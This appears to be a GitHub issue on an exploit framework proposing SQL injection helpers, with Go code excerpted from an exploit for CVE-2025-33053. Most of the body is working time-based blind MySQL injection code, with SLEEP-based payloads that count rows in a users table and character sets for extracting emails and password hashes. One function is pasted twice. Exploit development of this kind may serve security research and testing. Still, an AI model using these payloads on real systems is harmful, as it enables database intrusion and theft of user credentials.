Skip to content

Add SQL Injection Helpers #421

@terrorbyte

Description

@terrorbyte

SQL injections come up a lot and I often reuse logic in individual exploits. These should be moved into go-exploit. Here is some snippets from CVE-2025-33053 for my time-based blind logic:

var (
	MaxRequests = 10000
	SleepStart  = 5
	// ordered by most likely to least likely for special.
	EmailCandidates = []byte(`abcdefghijklmnopqrstuvwxyz@.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!#$%&'*/=?^_{|}~`)
	// ordered by most likely for the crypt stored hash.
	PasswordCandidates = []byte(`$y./0123456789abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ@+!#%&'*=?^_{|}~`)
)

type ResponseCorpus struct {
	Requests  []Request
	Maximum   int64
	Minimum   int64
	Average   int64
	Threshold int64
}

type Request struct {
	SleepTime    int
	ResponseTime int64
}

func getUserCount(conf *config.Config, sleepTime int) int {
	v := 1
	// My MySQL might be a bit shaky here, but if there are over 99 this might fail
	for {
		_, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
		if !ok {
			return -1
		}
		if dur > time.Duration(sleepTime*int(time.Second)) {
			_, _, dur = sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v+1)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
			if dur < time.Duration(sleepTime*int(time.Second)) {
				return v
			}

			break
		}
		v++
	}

	return -1
}

func establishBaseline(conf *config.Config) (int, bool) {
	use := 0
	// A little over engineered here because I was trying to lay the groundwork for other time-based
	// blind SQLi tooling. It could be simplified a bit and the extra structs could be moved out,
	// but I want keep it for basing the SQL tooling off of/remind myself.
	corpus := ResponseCorpus{}
	for i := SleepStart; i >= 1; i-- {
		resp, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(i)+")))"+random.RandLetters(3)+")")
		if !ok || resp.StatusCode != 200 {
			return 0, false
		}
		use = i
		if dur < time.Duration(i*int(time.Second)) {
			break
		}
		corpus.Requests = append(corpus.Requests, Request{
			SleepTime:    i,
			ResponseTime: dur.Nanoseconds(),
		})
		if dur.Nanoseconds() > corpus.Maximum {
			corpus.Maximum = dur.Nanoseconds()
		}
		if dur.Nanoseconds() < corpus.Minimum {
			corpus.Minimum = dur.Nanoseconds()
		}
	}

	sum := int64(0)
	for _, a := range corpus.Requests {
		sum += a.ResponseTime
	}
	corpus.Average = (sum / int64(len(corpus.Requests)))
	output.PrintfStatus("Using time based blind sleep time of %d", use)

	return use, true
}

func getUserCount(conf *config.Config, sleepTime int) int {
	v := 1
	// My MySQL might be a bit shaky here, but if there are over 99 this might fail
	for {
		_, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
		if !ok {
			return -1
		}
		if dur > time.Duration(sleepTime*int(time.Second)) {
			_, _, dur = sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v+1)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
			if dur < time.Duration(sleepTime*int(time.Second)) {
				return v
			}

			break
		}
		v++
	}

	return -1
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    Status

    No status

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions